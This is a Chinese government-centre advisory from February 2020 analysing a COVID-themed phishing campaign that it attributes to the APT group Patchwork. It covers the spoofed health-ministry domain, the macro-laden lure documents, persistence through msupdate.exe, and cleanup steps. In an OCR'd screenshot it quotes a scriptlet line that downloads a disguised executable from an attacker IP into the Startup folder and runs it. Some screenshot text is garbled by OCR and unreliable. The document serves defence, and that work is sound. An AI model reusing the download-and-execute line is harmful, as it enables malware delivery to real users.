广东省信息安全测评中心

关于境外 APT 组织借新型冠状肺炎疫情对我国发起网络 攻击事件的初步分析报告和自检建议

贵单位:

近期,境外 APT 组织趁我国抗击新型冠状病毒疫情之际, 冒充国家卫生健康委员会、疫情防疫等相关部门,向我国单位 和个人投放与新型冠状肺炎疫情相关的钓鱼邮件。钓鱼邮件附 带恶意链接与包含恶意代码的 office 文档附件,利用仿冒页 面实现对用户信息的收集,诱导用户执行恶意文档中的宏,向 受害用户 windows 主机上植入木马程序,实现远程控制和信息 窃取。

经关联分析发现,相似样本至少于 2019 年底开始使用, 根据样本特征、攻击手法及资产特点判断,幕后攻击者疑似为 印度背景黑客组织"白象"。其仿冒站点域名为"nhc-gov.com", 于 2020 年 1 月 23 日注册, 1 月 30 日上线,极其类似我国卫健 委官网"nhc.gov.cn"。钓鱼邮件附件为新型肺炎话题,伪造 散布"武汉旅行信息收集申请表.x1sm"、"卫生部指令.docx" 等疫情相关字眼的 office 文档附件,诱导用户点击下载具备 信息窃取、远程控制功能的远控木马。我中心进一步对样本进

1

行分析,发现受害者经诱导对 office 文档进行相关操作,将 被植入远控木马,一旦植入成功,则可造成隐私泄露、数据丢 失、人员敏感信息泄露、计算机故障等危害,危及个人乃至企 业、政府等单位的网络和信息安全。

现将我中心针对本次攻击事件样本分析情况及排查建议 提供贵单位,建议贵单位开展相应梳理排查工作,通过宣贯提 高相关人员安全意识,培养良好上网习惯,时刻警惕仿冒网站, 针对网络上常见的水坑攻击,钓鱼攻击等事件,警惕来源不明 的邮件及文本信息,勿轻易访问未经核实的链接及附件,安装 杀毒软件并及时更新病毒库,积极落实网络安全法相关责任要 求,采取技术措施和其他必要措施,消除安全隐患。相信在我 们的共同努力下,定能守住网络空间的安宁,为我国当前抗击 新冠肺炎疫情保驾护航。

(注: "白象"又名 Patchwork、摩诃草,江湖人称正规三军,是具有印度背景的 APT 组织,自 2015 年 12 月开始活跃,长期针对中国军队、政府等部门开展 渗透攻击,历来蹭中国新闻热点极其积极,此前曾就军运会为诱饵发起过攻击。)

附件: APT 攻击样本分析及排查方法和建议

广东省信息安全测评中心

2020年2月13日

2

APT 攻击样本分析及排查方法和建议

一、 样本分析

(一) "卫生部指令.docx"

 通过访问链接 http://nhc-gov.com/h_879834932/卫生 部指令.docx,将直接下载名为"卫生部指令.docx"的文档;

2. 打开文档如图,未作操作时,文档即发送三个请求;

8 *		华人民共和国 nal Health Commission o	国家卫生 of the People's Re	建康委员会 public of China	
		音符:请尽快到	完成以下内容		
1	家提供的信息将有助	力于加强疫情监测和报行	告工作,所有同	也和工作人员必须在最	最近
1	5 天内提供他们到远	武汉的旅行或与来自武	汉的人见面的信	息。如不符合上述条	件,
ĩ	 	的表格。		Refer	
ì	青填写以下资料: ↔			- KSKA	
		信息	你遇到的	人的细节	
	姓名	当前位置	姓名	当前位置	+
		N N	V		
		+		- ////	K 3
	A LE CONTRACTOR				
C] 本人确认此表格所	是供的资料真实、完整及准			4/
c] 本人确认此表格所	是供的资料真实、完整及准			
] 本人确认此表格所				

3. 当受害者填完表中信息后,点击"提交",word 里的代码将下载"submit_details.exe"文件,此.exe 文件即真正的木马文件;

4. 在文档中最后一行使用说明的小字的诱导下,受害者会点击该文件,此时木马被执行。

(注:此翻译拙劣的界面可见多处明显的错别字,可能为翻译器生硬翻译得来, 国家单位所发正式文件多经过审核,出现此情况的概率极低,在安全意识教育中 可作为非技术人员识别 apt 攻击诱饵文件的一种方法。)

(二) "武汉旅行信息收集申请表.x1sm"

通过访问链接 http://nhc-gov.com/form.html?0ZBT
 g_TFORM,将直接下载名为"武汉旅行信息收集申请表.x1sm"
 的文档;

2. 打开文档,若宏已启用,则宏代码发送请求到远程服务器下载 window.sct,即使宏未启用,文档中亦有"启用内容"字样诱导目标启用宏;

Image: Section of the sectio			
1 1			
Ministry			
工作希認問 部の 部の 部の 予確認知 Lost #SKA, 現現法用 Lost #SKA, 用内容 " QA = A - C - C - C & D - D - D - D & D &	一 一 内市	18 (2) 等388 (2) (2) 里の留口の田 * *	
● Passe box #x828.8, \$2848x80, Box # \$74x8. \$200x20103103 zaba. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	工作簿视图	显示 显示比例 窗口 宏	
A3 ····································	戸品通知 Excel 未被激活。要继续使用 E	xxel, 而不中斷, 请在 2020年2月16日 之前激活。 激活(A)	
A B C D A B C D	43 * : × √ fr	购售健康准备信息的由语表	
A B C 这是一个爱母护的文档,点击"名用内容"以如写详细信息 2 没算人代表:			
加速 1 x x y UALS, x x x x x x x x x x x x x x x x x x x	A	B C D D D D D D D D D D D D D D D D D D	é
收集健患准备信息的申请未 D D	2		20
D 医院/部门名称: 一 一 一 一 一 一 一 一 一 一 一 一 二 <th1367< th=""> 二</th1367<>	3	收集健康准备信息的申请表	
1) D 政府(第) 1269 : 20 2) D 政府(第) 1269 : 20 2) D 政府(第) 1269 : 20 3) 想试: 20 3) 想试: 20 4) J D 政府(第) 1269 : 20 5) D 政府(第) 1269 : 20 10 20 11 20 12 电子标卡 : 13 見信 : 14 20 15 1 16 1 17 1 18 1 19 1 10 1 11 1 12 1 13 1 14 1 15 1 16 1 17 1 18 1 19 1 10 1 11 1 12 1 13 1 142 1 15 1 16 </td <td>4</td> <td></td> <td></td>	4		
2) 负责人/代表: 26%: 26%: 26%: 11 26%: 12 8%: 13 8%: 14 10 15 3 16 1 17 4 18 1 19 1 19 1 11 1 11 1 12 1 13 1 14 1 15 1 15 1 16 1 17 4 18 1 19 1 19 1 11 1 11 1 12 1 13 1 14 1 15 1 16 1 17 1 17 1 18 1 19 1 10 1 11 1 11 1 12 1 13 1 14 1 15 1 15 1 16 1 <	5 1) 医院/部门名称 :		
名称: 名称: 1 名称: 月前江(南:) 月前江(南:) 月前江(南:) 中間(h:) 电(水) 手机号为:	7 2) 负责人/代表 :		
9 指定: 6: 7 9 指述: 6: 7 9 20 11 电子单号,: 电式: 40	8	名称:	
10 劳页证号句:: 11 电荷(#:): 12 电荷(#:): 13 ● 14 ● 15 ● 16 ● 17 • 17 • 18 ● 19 ● 19 ● 19 ● 19 ● 19 ● 19 ● 19 ● 19 ● 19 ● 10 ● 11 ● 12 ● 13 ● 14 ● 15 ● 16 ● 17 ● 18 ● 19 ● 10 ● 10 ● 11 ● 12 ● 13 ● 14 ● 15 ● 16 ● 17 ● 18 ● 19 ● 10 ● 10 ● 11 ● 12 ●	9	指定/ 衔:	
1 电温/学机号码。: 20 地址: 21	10	爱价证亏约。:	
1 1	12	セリーディー 申诺/ 手机号码。:	
1 1 1 1 1 3 建址: 1 3 建址: 1 4 5 1 5 Explosing bigging bigginging bigging	13		
30 夏度: 4 人力资產: E1人覧: 5 原泉 許理人乃数: 5 原泉 許理人乃数: 5 原泉 第二 5 原泉 月市: 4 回 年展为的病人数: 2 回 月市<:	14		
17 4) 人力资業: 正 18 医生人對: 19 护理人员数: 19 护理人员数: 19 原素测试交验室设施: 20 原素测试交验室设施: 21 パーパー: 22 日/市: 23 50 医病影务区量金: 24 日/市: 25 日/市: 26 日/市: 27 10 28 日/市: 29 日/市: 29 日/市: 20 毎年影务的病人数: 21 一 22 日/市: 23 日/市: 24 日/市: 25 日/市: 26 日/市: 27 日/市: 28 日/市: 29 日/市: 29 日/市: 20 日/日: 21 日/日: 22 日/日: 23 日/日: 24 日/日: 25 日/日: 26 日/日: 27 日/日: 28 日/日: 29 日/日: 29 日/日: 29 日/日: 29 日/日: 29 日/日: <td>15 3) лен:</td> <td></td> <td></td>	15 3) лен :		
18 医生人数: 29 序型人为数: 22 房香湖试会堂设编: 23 月市: 24 月市: 地区: 月市: 週 日本 10 毎年服务的病人数: 27 重江金 28 ● 29 ● 29 ● 20 ● 21 ● 22 ● 23 ● 24 ● 25 ● 26 ● 27 ● 28 ● 29 ● 29 ● 20 ● 21 ● 22 ● 22 ● 23 ● 24 ● 25 ● 26 ● 27 ● 27 ● 28 ● 29 ● 29 ● 20 ● 21 ● 22 ● 23 ● 24 ● 25 ● 26 ● 27	17 4) 人力资源 :		
19 伊賀人均数: · 伊教: · 伊教: · 伊教/ · 伊教/	18	医生人数 :	
	19	护理人员数::	
22 月7日の日本星を留い 24 50 25 月/市: 26 地区: 27 見言: 28 6 30 毎年展労的病人数: 通貨: 二 31 一 32 ● 32 ● 33 ●	20	本92.: 疟素潮洋立验室沿路。	
23 50 医院最务区覆盖: 目/市: 1 25 日/市: 地区: 1 1 27 日 日 1	22		
24 50 医病態列以電金: 月/市: 地区: 世話: 月/市: 地区: 世話: 担: 世話: #: #: #: #: #: #: #: #: #: #: #: #: #: #: #: #: #: ::: #: :: :::: :::: :::::::::::::::::::::::::	23		
2012	24 5) 医院服务区覆重 : 25	月/市 .	
27 自: 28 0) 每年最秀的病人数: 30 最近设态的伟人; 31 盛以疾病类型: 28 0) 多少天的伟人;	26		
28 9 9 毎年服务的病人数 : 30 31 32 32 33 3 3 3 3 3 3 3 3 3 3 3 3	27	县.	
(2) 09 年末方田地人致:	28 (22) (22) (22) (22) (22) (22) (22) (2		
	29 (b) 母牛服务的病人数 :		
32	31		
33 多少天的病人:	32	症状:	激活 Window
	33	多少天的病人:	

3. Window.sct 文件用于下载伪装成 jpeg 的 exe 文件,即真正的木马文件,如下图:

	💰 window.set	2020/2/10 11:41	Windows Script	1 KB		
sers\lx	i\Desktop\白象样本\45.153.184.67\733f94b5080775228e7ddeb	c7f1029ec0dac89a76	d5dbd0b703e3c4a406e	e663-window.sct-\window.sct -	Notepa —	
编辑(E),	[M) 运行(R) 插件(P)) 窗口(W) ?			
	🕞 🕞 😂 🖌 🛍 🖺 Ə 🗲 📾 🏣 🔍 🔍 🖼 🖬	1 📑 🖉 📓) 🔊 🚞 👁 🔳 🛙	D D 🔤 💆		
e.logE	3 🔚 FileUpload. py 🛛 🔚 app. html 🗷 🔚 window. sot 🗵					
Ŧ				_		
ļ.						
} ▼a	r t=e.SpecialFolders("Startup")+decode("XHR1k	XAuZXhl");downl	oadFile " <u>http://4</u>	5.153.184.67/window.jpe	<u>eq</u> ",t);e.run(''	''+t+'"')

二、 排查方法

 全盘搜索 submit_details.exe、submit_details.exe、 kt_new.png、CnC_Client.pdb,查找可执行文件是否存在,存 在则删除。

2. 打开注册表->编辑->查找 输入 submit_details.exe 查 找注册表是否有相关值,有则删除。

查找 C: \Windows\Prefetch\路径下是否有类似于 SUBMIT
 _DETAILS. EXE-xxxxxxx. pf 预读取文件,有则删除。

 全盘查找 window.sct, window.jpeg, CnC_Client.pdb 文件并删除。

5. 查找 C: \Microsoft\msupdate.exe 和 C: \Users\用户名 \AppData\Roaming\msupdate.exe 并删除。

6. 打开控制面板,小图标视图下打开"管理工具"->"任务计划程序",查看是否有如下图所示的启动任务程序 C:\Microsoft\msupdate.exe,有则表示主机已被攻击。删除该计划任务。

🕑 任务计划程序							
文件(F) 操作(A) 查看(V) 著	爱助(H)						
任务计划程序(本地)	名称	状态	触发器	下次运行时间	上次运行时间	上次运行结果	创建者
> 🔂 任务计划程序库	Microsoft Update	准备就绪	登录 DESKTOP-VSR91KU\lxj 时		1999/11/30 0:00:00	任务尚未运行。 (0x41303)	
	(B) OneDrive Standalone Update	准备就绪	在 1992/5/1 的 10:00 时 - 触发后,无限期地每隔 1.00:00:00 重复一次。	2020/2/12 12:26:51	2020/2/11 12:42:42	(0x8004EE04)	Microso
	TencentCloud askMachineCore	准备就绪	登录 DESKTOP-VSR91KU\lxj 时		2020/2/11 23:05:13	系统找不到指定的文件。 (0x80070002)	1
	(User_Feed_Synchronization-{6	准备就绪	在每天的 2:22 - 触发器在 2030/2/12 2:22:09 时过期。	2020/2/12 2:22:09	2020/2/11 21:19:01	操作成功完成。 (0x0)	DESKTO
	WpsExternal_bi_20200210132	准备就绪	在 2020/2/10 的 8:37 时 - 触发后,无限期地每隔 02:00:00 重复一次。	2020/2/12 0:37:09	2020/2/11 22:37:09	操作成功完成。(0x0)	bg
	(ipsopulation in the state	12.24 (10)8		2020/2/11 200101	2020/2/11 22:07:07	381 Pro031 Loop (0x0)	19
						_	>
	1998年1月9日,赵秀道定任务启动时发生的操作。若要更改这些操作,使用"属性"命令打开任务属性页。						
	操作 详细信号						
	启动程序 C:\Microso	ft\msupda	te.exe				

三、 安全建议

1. 不要轻易点击和打开来历不明的链接和附件,已打开钓 鱼邮件链接或附件的用户,应立即修改相关账号密码并及时联 系网络安全技术人员,进行风险排查同时谨慎使用 Office 宏 功能。

及时升级系统,安装杀毒软件,并更新病毒库,定期查杀;

3. 强化风险意识,切实加强安全防范,不要通过 QQ、微信等社交媒体打开、传播可疑文档或.EXE 文件。

广东省信息安全测评中心

2020年2月13日